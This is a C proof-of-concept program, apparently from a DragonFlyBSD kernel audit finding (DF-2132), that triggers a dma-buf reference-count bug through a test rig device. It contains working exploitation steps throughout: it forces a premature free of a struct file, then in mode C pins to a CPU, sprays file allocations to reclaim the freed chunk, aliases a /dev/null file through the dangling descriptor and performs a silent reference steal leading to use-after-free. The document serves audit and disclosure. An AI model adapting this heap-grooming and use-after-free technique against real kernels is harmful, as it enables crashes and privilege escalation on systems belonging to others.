โฌข DragonFlyBSD Kernel Audit
DF-2132 / df2132_user.c
โ† back to finding โ†“ download raw
/*
 * df2132_user.c โ€” unprivileged trigger for DF-2132.
 *
 * Talks to /dev/df2132 (mode 0666), whose rig resolves the PRODUCTION
 * drm.ko dma_buf_* symbols and replays the drm_gem_prime_fd_to_handle()
 * lookup-hit call sequence (drm_prime.c:802 -> 814 -> 864).
 *
 * Modes:
 *   A โ€” refcount oracle, NO crash: two PRIME-import iterations and a
 *       clean close.  Buggy kernel: reported f_count descends every
 *       iteration (3->2, 2->1) because each import's dma_buf_put()
 *       fdrop()s a reference nobody acquired.  Fixed kernel: the count
 *       is stable across iterations (get+put balanced).
 *   B โ€” deterministic premature free: iterate the import until the
 *       production fdrop inside dma_buf_put drives f_count to 0
 *       (fo_close/ffree run while the fd-table slot still points at the
 *       file), then close(2) the dangling fd -> use-after-free.
 *   C โ€” exploitation push: after the premature free, spray real
 *       /dev/null struct files (same M_FILE objcache zone, same CPU =>
 *       LIFO reclaim) until one reoccupies the freed chunk; show the
 *       dangling fd functionally aliases the new file (read works),
 *       then a silent reference steal (close of the new fd frees the
 *       object while the dangling fd still references it), then close
 *       the dangling fd -> use-after-free.
 *
 * Build:  cc -O -o df2132_user df2132_user.c
 * Run:    ./df2132_user A|B|C
 */
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/usched.h>
#include <sys/resource.h>
#include <sys/time.h>

#include "df2132.h"


static int ctl;

/* durable logging: every line is fsync'd so evidence survives a panic */
static void
out(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vprintf(fmt, ap);
	va_end(ap);
	fflush(stdout);
	fsync(fileno(stdout));
}

/* pin ourselves to one CPU so the premature free (inside an import
 * ioctl) and the reclaim spray (later ioctls) hit the same per-CPU
 * M_FILE objcache magazine => deterministic LIFO reuse */
static void
pin_cpu(int cpuno)
{
	long rv = syscall(481 /* SYS_usched_set */, 0,
	    USCHED_SET_CPU, &cpuno, sizeof(cpuno));

	if (rv != 0)
		out("usched_set(cpu %d) failed rc=%ld (continuing; "
		    "reclaim may be nondeterministic)\n", cpuno, rv);
	else
		out("pinned to cpu %d\n", cpuno);
}

#define XIOC(cmd, req) do {						\
	if (ioctl(ctl, (cmd), (req)) != 0) {				\
		out("ioctl " #cmd ": %s\n", strerror(errno));		\
		exit(1);						\
	}								\
} while (0)


/* push a marker line to the durable (host-side) serial console */
static void
note(const char *msg)
{
	struct df2132_note n;

	memset(&n, 0, sizeof(n));
	snprintf(n.msg, sizeof(n.msg), "%s", msg);
	if (ioctl(ctl, DF2132IOC_NOTE, &n) != 0)
		out("NOTE ioctl failed: %s\n", strerror(errno));
}

static void
info(int fd, struct df2132_req *r)
{
	memset(r, 0, sizeof(*r));
	r->fd = fd;
	XIOC(DF2132IOC_INFO, r);
}

static void
show(const char *tag, struct df2132_req *r)
{
	out("%-12s fd=%2d fcount %d->%d rel=%d slot_valid=%d "
	    "slot_is_saved=%d fp=0x%llx (saved 0x%llx)\n",
	    tag, r->fd, r->fcount_before, r->fcount_after, r->release_count,
	    r->slot_valid, r->slot_is_saved,
	    (unsigned long long)r->fp_addr, (unsigned long long)r->saved_fp);
	fflush(stdout);
}

/* one production PRIME_FD_TO_HANDLE lookup-hit iteration */
static void
prime_import_once(int fd, struct df2132_req *r)
{
	memset(r, 0, sizeof(*r));
	r->fd = fd;
	XIOC(DF2132IOC_PUT, r);
}

/* iterate imports until the file is prematurely freed (or give up) */
static int
import_until_free(int dmabuf_fd, int max_iter)
{
	struct df2132_req r;
	int i;

	for (i = 1; i <= max_iter; i++) {
		prime_import_once(dmabuf_fd, &r);
		show("import", &r);
		if (r.fcount_after == 0)
			return (i);
	}
	return (0);
}

int
main(int argc, char **argv)
{
	struct df2132_req r;
	char mode = (argc > 1) ? argv[1][0] : 'A';
	int dmabuf_fd;

	ctl = open("/dev/df2132", O_RDWR);
	if (ctl < 0) {
		fprintf(stderr, "open /dev/df2132: %s\n", strerror(errno));
		return (1);
	}
	out("df2132_user: mode %c (pid %d uid %d)\n", mode, getpid(), getuid());
	pin_cpu(0);
	{
		struct rlimit rl;

		if (getrlimit(RLIMIT_NOFILE, &rl) == 0 &&
		    rl.rlim_cur < rl.rlim_max) {
			rl.rlim_cur = rl.rlim_max;
			setrlimit(RLIMIT_NOFILE, &rl);
			out("RLIMIT_NOFILE raised to %lld\n",
			    (long long)rl.rlim_cur);
		}
	}

	/* ---- production dma_buf_export + dma_buf_fd: dma-buf fd installed
	 * in OUR (unprivileged) fd table with f_count=2 (falloc ref + fd
	 * table ref; note dma_buf_export never drops its falloc ref) ---- */
	memset(&r, 0, sizeof(r));
	XIOC(DF2132IOC_EXPORT, &r);
	dmabuf_fd = r.fd;
	out("export      : dmabuf fd=%d fp=0x%llx (f_count=2: falloc-ref + fd-table-ref)\n",
	    dmabuf_fd, (unsigned long long)r.saved_fp);
	fflush(stdout);

	switch (mode) {
	case 'A': {
		/*
		 * Single lookup-hit import + close.  Survivable on BOTH
		 * kernels: dma_buf_export() never drops its falloc ref
		 * (production leak), which absorbs the first over-drop, so
		 * the close stays balanced.  The resting-count oracle:
		 *   buggy kernel: resting f_count one LOWER after the import
		 *   fixed kernel: resting f_count UNCHANGED
		 */
		int resting_pre, resting_post;

		memset(&r, 0, sizeof(r));
		r.fd = dmabuf_fd;
		XIOC(DF2132IOC_LOOKUP, &r);
		resting_pre = r.fcount_after;	/* count without our probe ref */
		out("resting f_count BEFORE import: %d\n", resting_pre);
		prime_import_once(dmabuf_fd, &r);
		show("import#1", &r);
		memset(&r, 0, sizeof(r));
		r.fd = dmabuf_fd;
		XIOC(DF2132IOC_LOOKUP, &r);
		resting_post = r.fcount_after;
		out("resting f_count AFTER  import: %d\n", resting_post);
		if (resting_post < resting_pre) {
			out("ORACLE: resting count DROPPED %d->%d across one "
			    "get/put pair => dma_buf_put() fdrop()s a ref "
			    "nobody acquired: BUG PRESENT\n",
			    resting_pre, resting_post);
		} else if (resting_post == resting_pre) {
			out("ORACLE: resting count UNCHANGED (%d) => get/put "
			    "balanced: FIXED\n", resting_pre);
			note("mode A: resting f_count UNCHANGED (fixed)");
		} else {
			out("ORACLE: resting count ROSE %d->%d (leak)\n",
			    resting_pre, resting_post);
		}
		close(dmabuf_fd);
		out("mode A done, exited cleanly\n");
		return (0);
	}

	case 'B':
		if (import_until_free(dmabuf_fd, 8) == 0) {
			out("NO PREMATURE FREE after 8 imports "
			    "(f_count never reached 0) => FIXED kernel\n");
			close(dmabuf_fd);
			return (0);
		}
		info(dmabuf_fd, &r);
		show("info", &r);
		if (r.release_count > 0 && r.slot_valid && r.slot_is_saved) {
			out("PREMATURE FREE CONFIRMED: fo_close ran %d time(s), "
			    "fd-table slot %d STILL points at freed fp 0x%llx\n",
			    r.release_count, dmabuf_fd,
			    (unsigned long long)r.saved_fp);
			note("mode B: premature free CONFIRMED, slot dangling");
		} else {
			out("unexpected state (no free?)\n");
			return (1);
		}
		out("closing dangling fd %d -> expect use-after-free ...\n",
		    dmabuf_fd);
		fflush(stdout);
		close(dmabuf_fd);
		out("SURVIVED close (no UAF trip on this config)\n");
		return (0);

	case 'c':		/* falls through: alias+read+steal, no final close */
	case 'C': {
		int alias_fd = -1, i;
		uint64_t r_saved_fp = 0;

		if (import_until_free(dmabuf_fd, 8) == 0) {
			out("NO PREMATURE FREE after 8 imports => FIXED "
			    "kernel; nothing to reclaim\n");
			close(dmabuf_fd);
			return (0);
		}
		info(dmabuf_fd, &r);
		show("info", &r);
		if (!(r.release_count > 0 && r.slot_valid && r.slot_is_saved)) {
			out("premature free not confirmed\n");
			return (1);
		}
		out("PREMATURE FREE CONFIRMED (freed fp 0x%llx, dangling fd %d)\n",
		    (unsigned long long)r.saved_fp, dmabuf_fd);
		note("mode C: premature free CONFIRMED, spraying for reclaim");
		r_saved_fp = r.saved_fp;

		/*
		 * Reclaim phase 1: fast bare-file spray (rig: falloc only,
		 * no namei) until a dummy struct file reoccupies the freed
		 * chunk.  DF's kmalloc_obj is a per-slab FIFO ring (kfree
		 * pushes at the findex tail, alloc pops at the aindex head),
		 * so the chunk resurfaces only after the slabs/ring ahead
		 * of it are drained -- this takes many allocations.
		 */
		{
			int dummy_fd = -1;

			for (i = 0; i < 1500 && dummy_fd < 0; i++) {
				memset(&r, 0, sizeof(r));
				r.sprayed = 64;
				XIOC(DF2132IOC_SPRAY, &r);
				if (r.found)
					dummy_fd = r.fd;
			}
			if (dummy_fd < 0) {
				out("phase-1 spray exhausted (~%d files) "
				    "without reclaim\n", i * 64);
				note("mode C: dummy spray exhausted (no reclaim)");
			} else {
				out("phase-1: dummy file fd=%d REOCCUPIED the "
				    "freed chunk after ~%d allocations\n",
				    dummy_fd, i * 64);
				note("mode C: dummy file reoccupied freed chunk");
				/*
				 * Reclaim phase 2: free the dummy (chunk
				 * returns to the now-shallow ring), then
				 * land a real /dev/null file on it via a
				 * plain userland open(2).
				 */
				close(dummy_fd);
				for (i = 0; i < 24 && alias_fd < 0; i++) {
					int nfd = open("/dev/null", O_RDONLY);

					if (nfd < 0)
						break;
					memset(&r, 0, sizeof(r));
					r.fd = nfd;
					XIOC(DF2132IOC_LOOKUP, &r);
					if (r.found && r.fp_addr == r_saved_fp) {
						alias_fd = nfd;
						out("phase-2: /dev/null fd=%d "
						    "LANDED ON the freed chunk "
						    "(fp=0x%llx)\n", nfd,
						    (unsigned long long)
						    r.fp_addr);
						note("mode C: RECLAIM/ALIAS established");
					}
				}
			}
		}
		if (alias_fd < 0) {
			out("reclaim not achieved this run; dangling state "
			    "still stands (free-while-referenced already "
			    "proven above)\n");
			out("closing dangling fd %d -> expect UAF\n", dmabuf_fd);
			close(dmabuf_fd);
			return (0);
		}

		/* functional alias: read through the DANGLING dma-buf fd,
		 * served by the reclaimed /dev/null struct file */
		{
			char buf[8];
			ssize_t n = read(dmabuf_fd, buf, sizeof(buf));
			out("read(dangling fd=%d) = %zd  <== UAF read "
			    "through freed-then-reclaimed struct file\n",
			    dmabuf_fd, n);
			note("mode C: read() THROUGH DANGLING FD succeeded");
		}

		/* silent reference steal: closing the ALIASED fd frees the
		 * object while the dangling fd still references it */
		out("closing aliased fd %d (silent steal: frees object "
		    "while dangling fd still references it)\n", alias_fd);
		fflush(stdout);
		close(alias_fd);
		note("mode C: aliased fd closed (silent steal done)");
		if (mode == 'c') {
			out("mode c: parking 300s with dangling fd %d held "
			    "open (exit would close it and panic)\n",
			    dmabuf_fd);
			note("mode c: steal done, dangling fd parked open");
			sleep(300);
			return (0);
		}
		out("steal survived; closing dangling fd %d -> expect "
		    "use-after-free ...\n", dmabuf_fd);
		close(dmabuf_fd);
		out("SURVIVED final close\n");
		return (0);
	}
	default:
		fprintf(stderr, "usage: %s A|B|C\n", argv[0]);
		return (1);
	}
}